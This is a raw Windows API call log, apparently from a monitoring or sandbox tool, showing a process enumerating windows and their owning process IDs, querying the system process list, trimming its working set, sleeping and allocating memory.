[0247.326] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0247.326] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0247.326] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0247.326] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0247.326] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0247.327] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0247.327] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0247.327] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0247.327] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0247.327] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0247.327] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0247.327] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0247.327] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0247.327] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0247.327] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0247.327] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0247.328] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0247.328] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0247.328] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0247.328] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0247.328] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0247.328] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0247.328] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0247.328] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0247.328] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0247.329] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0247.330] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0247.330] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0247.330] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0247.330] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0247.330] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0247.330] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0247.330] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0247.331] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0247.331] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0247.331] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0247.331] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0247.331] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0247.331] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0247.331] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0247.331] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0247.332] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0247.332] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0247.332] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0247.332] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0247.332] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0247.332] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0247.332] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0247.332] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0247.333] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0247.333] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0247.333] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0247.333] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0247.333] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0247.333] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0247.333] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0247.334] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0247.334] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0247.334] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0247.334] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0247.334] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0247.334] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0247.334] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.334] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0247.334] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.335] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0247.335] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.335] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.335] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0247.335] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.335] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.335] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0247.335] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0247.336] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0247.336] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0247.336] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0247.336] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0247.336] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.336] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0247.336] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0247.336] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0247.337] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0247.337] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0247.337] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0247.337] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0247.337] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0247.337] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0247.337] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0247.337] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0247.338] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0247.338] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0247.338] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0247.338] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0247.338] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0247.338] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0247.338] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0247.339] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0247.339] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0247.339] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0247.339] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0247.339] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0247.339] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0247.339] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0247.340] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0247.340] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0247.340] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0247.340] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0247.340] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0247.340] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0247.340] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0247.341] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0247.341] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0247.341] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0247.341] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0247.341] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0247.341] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0247.342] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0247.342] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0247.342] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0247.342] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0247.342] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0247.343] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0247.343] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0247.343] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0247.343] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0247.343] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0247.343] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0247.344] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0247.344] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0247.344] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0247.344] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0247.344] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0247.345] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0247.345] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0247.345] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0247.345] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0247.345] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0247.345] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0247.346] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0247.346] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0247.346] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0247.347] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0247.347] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0247.347] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0247.347] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0247.347] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0247.347] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0247.347] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0247.348] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0247.348] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0247.348] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0247.348] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0247.348] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0247.348] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0247.348] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0247.349] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0247.349] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0247.349] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0247.349] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0247.350] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0247.375] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0248.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12f08) returned 0x0
[0248.043] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12f08) returned 0x0
[0248.046] VirtualAlloc (lpAddress=0x27ef000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x27ef000
[0248.102] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12f08) returned 0x0
[0248.113] EnumWindows (lpEnumFunc=0x1b1a2aac, lParam=0x0) returned 1
[0248.114] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0248.114] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.114] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.114] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.114] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.115] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.115] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
